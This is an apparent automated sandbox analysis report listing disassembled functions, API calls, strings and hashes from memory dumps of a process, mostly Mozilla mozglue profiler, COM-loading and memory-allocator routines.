Part of subcall function 6C209A60: GetCurrentThreadId.KERNEL32 ref: 6C209A95
Part of subcall function 6C209A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C209A9D
Part of subcall function 6C209A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C209ACC
Part of subcall function 6C209A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C209BA7
Part of subcall function 6C209A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C209BB8
Part of subcall function 6C209A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C209BC9

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C209A15

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: c0a8e95f6251d1aac4a63ce3cb81f983bde5ef31a738b78a7bb17ce547ad8cea
Instruction ID: 6203c0c1dbdefb0ba5feddc2fe406aa46f1b626a7519b5b391a22d07d2f8e482
Opcode Fuzzy Hash: c0a8e95f6251d1aac4a63ce3cb81f983bde5ef31a738b78a7bb17ce547ad8cea
Instruction Fuzzy Hash: BB010436B0452D9BDB04BF25D40DAAA3B78EBC626DF05C117FE0653B81CBB40824C6A1

Function 6C1D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C1D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C1D1FFD
__Init_thread_footer.LIBCMT ref: 6C1D2011
FreeLibrary.KERNEL32 ref: 6C1D2059

Strings

combase.dll, xrefs: 6C1D1FD9
CoCreateInstance, xrefs: 6C1D1FF7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: d7904c38c1bb3fb94db912e606390e341f55cf28a123bfdd778822b754c59695
Instruction ID: e30f556585f602db3ce2acf017496ddd66dc605355064703a55d13d7203e7a74
Opcode Fuzzy Hash: d7904c38c1bb3fb94db912e606390e341f55cf28a123bfdd778822b754c59695
Instruction Fuzzy Hash: 38117975200208AFEF20EF15C84CF9B3B79EB8635DF01C129ED24A2680C731E851CBA0

Function 6C1D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C1FD9F0,00000000), ref: 6C1D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx,?,6C1FD9F0,00000000), ref: 6C1D0F3C
__Init_thread_footer.LIBCMT ref: 6C1D0F50
FreeLibrary.KERNEL32(?,6C1FD9F0,00000000), ref: 6C1D0F86

Strings

combase.dll, xrefs: 6C1D0F18
CoInitializeEx, xrefs: 6C1D0F36

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 480688cb68814b2d899fb23a730b063f956e50ff8ccf55dfe659be691e794288
Instruction ID: 078380ff8a0678c469192822e5323205c54f66516c86ffa6033266d6eaf6b1da
Opcode Fuzzy Hash: 480688cb68814b2d899fb23a730b063f956e50ff8ccf55dfe659be691e794288
Instruction Fuzzy Hash: E411AC747052409BDF00EF68C90CE4B37B4EBCA32AF52C269ED058AAC0D734A401CE62

Function 6C1D62E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6C1D631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6C1D633A
__Init_thread_footer.LIBCMT ref: 6C1D634E
FreeLibrary.KERNEL32 ref: 6C1D6376

Strings

CoUninitialize, xrefs: 6C1D6334
combase.dll, xrefs: 6C1D6316

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 1f81d80a449ec79923ea0d82671970fc47a8c3ff2f7e32a224f272c4abde7f9b
Instruction ID: 2b444d6b135b7c8bc196fa5ed083c70fa178dbe7f30fb75a2203cd3946e140d9
Opcode Fuzzy Hash: 1f81d80a449ec79923ea0d82671970fc47a8c3ff2f7e32a224f272c4abde7f9b
Instruction Fuzzy Hash: 38014879705209DBEB04EF68D94CB16B7B0A79631DF01C929DD15C2AC0EBB0A402CE51

Function 6C20F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(00000000,?,00000000), ref: 6C20F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F561

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

GetCurrentThreadId.KERNEL32(00000000,?,00000000), ref: 6C20F577
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F585
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C20F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C20F56A
[I %d/%d] profiler_resume, xrefs: 6C20F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C20F499

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: a6b9d1d144eccdf5f02d85d913061cc2bc192d9fc4e72f35acc5c210cc51678f
Instruction ID: 15d81d33ef5d728f767d2b1fae80b9fb740825398ac5aa7586bfd84cc9c0fe44
Opcode Fuzzy Hash: a6b9d1d144eccdf5f02d85d913061cc2bc192d9fc4e72f35acc5c210cc51678f
Instruction Fuzzy Hash: A2F030767006089BDB007B65D84CA5F7B7DEBCA26DF008016FE0683781DBB54805C665

Function 6C20F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(?,00000000,6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C20F598), ref: 6C20F621

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

GetCurrentThreadId.KERNEL32(?,00000000,6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F637
AcquireSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F645
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C20F62A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c7d86bbe652056ccf968c414932465ef04a75fd728c16bcb9e80b15dd59dcdff
Instruction ID: fab6ea1df0d70f30a3d010949d9d524e9952ebee62e4b2ea664c185a421dda7c
Opcode Fuzzy Hash: c7d86bbe652056ccf968c414932465ef04a75fd728c16bcb9e80b15dd59dcdff
Instruction Fuzzy Hash: F0F05476300608ABDB007B65D84CD5F777DEBCA26DF408016FE0683781DBB54805C765

Function 6C1D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C1D0DF8), ref: 6C1D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C1D0EA1
__Init_thread_footer.LIBCMT ref: 6C1D0EB5
FreeLibrary.KERNEL32 ref: 6C1D0EC5

Strings

kernel32.dll, xrefs: 6C1D0E7D
GetProcessMitigationPolicy, xrefs: 6C1D0E9B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: d3cdee70b254d53e9b5f3c39a34abd34f264c75f05429d599dd97356db29e007
Instruction ID: 193060a2bae3984a310ea81d3582ab7ddaf1cd2cab7607d2c455ef9f173e88f3
Opcode Fuzzy Hash: d3cdee70b254d53e9b5f3c39a34abd34f264c75f05429d599dd97356db29e007
Instruction Fuzzy Hash: 980124747007868BEB00EFA8D81CB4B77B6E78631DF52A9259D1182FC0D77CB405CA11

Function 6C2005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C1FCFAE,?,?,?,6C1C31A7), ref: 6C2005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C1FCFAE,?,?,?,6C1C31A7), ref: 6C200616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C1C31A7), ref: 6C20061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C1C31A7), ref: 6C200627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C20061B, 6C200625
<jemalloc>, xrefs: 6C2005FA, 6C20060F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 55f222a8fce1b033d9a9153bb9f21fa2c966a913a4982cbb8a4c83011d224550
Instruction ID: b516b5762e821e892e04c14d3b0bcfc2b23ed0108119395075e3d0e64e912849
Opcode Fuzzy Hash: 55f222a8fce1b033d9a9153bb9f21fa2c966a913a4982cbb8a4c83011d224550
Instruction Fuzzy Hash: 9BE08CE2A0202437F6142256AC8ADBB771CDBC6538F080139FD0D86301E94AED1A91F6

Function 00416210 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExitProcess
String ID: *
API String ID: 621844428-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6C219240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C219BAE
free.MOZGLUE(?,?), ref: 6C219BC3
free.MOZGLUE(?,?), ref: 6C219BD9

Part of subcall function 6C2193B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C2194C8
Part of subcall function 6C2193B0: free.MOZGLUE(6C219281,?), ref: 6C2194DD

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 31cdaf00e942b0afee234aefe110cd80da4dc9298ed3fdefbf3bcfaccde6ebcb
Instruction ID: b6b83ac11052469dd614bfa049a94ac4ef643a9139a11d1db27b8421effbb218
Opcode Fuzzy Hash: 31cdaf00e942b0afee234aefe110cd80da4dc9298ed3fdefbf3bcfaccde6ebcb
Instruction Fuzzy Hash: 87B1B171A087498BCB01DF58C48059FF3F5BFC9328B148619ED599BB40EB31E956CB91

Function 6C1D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1990ad4718ff82f71fbeaac43a2f93ae38f00a4e1937eaed04d0325d795efb1c
Instruction ID: d8440a3da2070ce4130de116eb77b2e6b154f608bcac6a2772a08583da5299f1
Opcode Fuzzy Hash: 1990ad4718ff82f71fbeaac43a2f93ae38f00a4e1937eaed04d0325d795efb1c
Instruction Fuzzy Hash: 6DA14A70A006458FDB14CF29C594B9AFBF1BF89304F45866ED88A9BB40E730B995CF90

Function 6C2071A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C206060: moz_xmalloc.MOZGLUE(00000024,E0D22F71,00000000,?,00000000,?,?,6C205FCB,6C2079A3), ref: 6C206078

free.MOZGLUE(-00000001), ref: 6C2072F6
free.MOZGLUE(?), ref: 6C207311

Strings

Copied unique strings, xrefs: 6C207320
Spliced unique strings, xrefs: 6C207340
333s, xrefs: 6C20731B
333s, xrefs: 6C207226

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: daedb37f1a2886a9f90777e7c806458cc5613cb12567760304437ffe166d0b53
Instruction ID: a68847a2c8ff9ee9da8205afa8d8e9dadecbc3e7aa7fc1cd4bbff3d359080da5
Opcode Fuzzy Hash: daedb37f1a2886a9f90777e7c806458cc5613cb12567760304437ffe166d0b53
Instruction Fuzzy Hash: 43719271F006198FDB18CF69D89069EB7F2AF84704F25812EDC1AAB750DB35A946CBC0

Function 6C2214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C2214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2214E2
GetCurrentThreadId.KERNEL32 ref: 6C221546
InitializeConditionVariable.KERNEL32(?), ref: 6C2215BA
free.MOZGLUE(?), ref: 6C2216B4

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 900e839e2115011bfddf3518c22a1d61067889fe5bdf3366da3813e947e2ce88
Instruction ID: 0665bd657df3a164d7e348b0a0c23ac28f2e13783ff0f587262c297ba0882483
Opcode Fuzzy Hash: 900e839e2115011bfddf3518c22a1d61067889fe5bdf3366da3813e947e2ce88
Instruction Fuzzy Hash: A9610071A007088BDB219F24C884FEEB7B1BF89308F44851CED8A57741DB35E999CB91

Function 6C21C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C21C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C21C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C21C29E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 323b87ef04200cdf0cf0fc508bbc499025b8c501ce4faab1c81ea819d5560626
Instruction ID: 4311ab4ba74c471338c7311e28916fb07de3d7475eee22ccada964a89c75dc5e
Opcode Fuzzy Hash: 323b87ef04200cdf0cf0fc508bbc499025b8c501ce4faab1c81ea819d5560626
Instruction Fuzzy Hash: 4061DE75A04218CFCB15DFA8C884AAEBBF5FF49725F154529ED02A7B50C731A944CFA0

Function 6C219F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C219FDB
free.MOZGLUE(?,?), ref: 6C219FF0
free.MOZGLUE(?,?), ref: 6C21A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C21A0BE
